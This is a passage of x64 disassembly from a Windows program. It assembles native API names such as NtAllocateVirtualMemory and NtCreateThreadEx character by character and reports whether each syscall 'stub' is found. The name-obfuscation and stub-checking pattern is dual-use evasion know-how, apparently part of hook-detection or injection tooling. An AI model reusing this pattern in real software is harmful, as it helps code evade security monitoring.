call fcn.1400bd9c0
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x1400d643e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1400d6440]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xb5f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0xb60]
mov rcx, qword [rbp + 0x2dd0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140004f00
lea rbx, [0x1400d6414]
jmp 0x140004f07
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xd4f]
mov qword [rbp + 0x2ce0], rax
nop
nop
lea rdx, [rbp + 0xd4f]
lea rax, [rbp + 0xd20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x1400d6442]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0xb80]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xd4f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0xd50]
mov rcx, qword [rbp + 0x2dc8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x14000523c
lea rbx, [0x1400d6414]
jmp 0x140005243
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x101f]
mov qword [rbp + 0x2cd8], rax
nop
nop
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1400d6446]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1400d6448]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1400d644c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x1400d644e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x1400d6450]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x1400d6452]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0xd70]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x2dc0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x1400056ac
lea rbx, [0x1400d6414]
jmp 0x1400056b3
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x136f]
mov qword [rbp + 0x2cd0], rax
nop
nop
lea rdx, [rbp + 0x136f]
lea rax, [rbp + 0x1340]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x1400d6454]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1400d6456]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1400d6458]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x1400d6434]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x136f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1370]
mov rcx, qword [rbp + 0x2db8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140005bcc
lea rbx, [0x1400d6414]
jmp 0x140005bd3
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x15ff]
mov qword [rbp + 0x2cc8], rax
nop
nop
lea rdx, [rbp + 0x15ff]
lea rax, [rbp + 0x15d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x1400d6442]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1400d643c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1400d6406]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x1400d640e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1390]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x15ff]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1600]
mov rcx, qword [rbp + 0x2db0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140005fe4
lea rbx, [0x1400d6414]
jmp 0x140005feb
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x170f]
mov qword [rbp + 0x2cc0], rax
nop
nop
lea rdx, [rbp + 0x170f]
lea rax, [rbp + 0x16e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x1400d6436]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1620]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x170f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x1710]
mov rcx, qword [rbp + 0x2da8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x1400061ec
lea rbx, [0x1400d6414]
jmp 0x1400061f3
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x18df]
mov qword [rbp + 0x2cb8], rax
nop
nop
lea rdx, [rbp + 0x18df]
lea rax, [rbp + 0x18b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x1890]
lea rdx, [rbp + 0x18b0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x1400d644e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x1400d645a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x1400d644a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x1400d6434]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1400d6444]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x1730]
lea rax, [rbp + 0x50]
mov rcx, rax
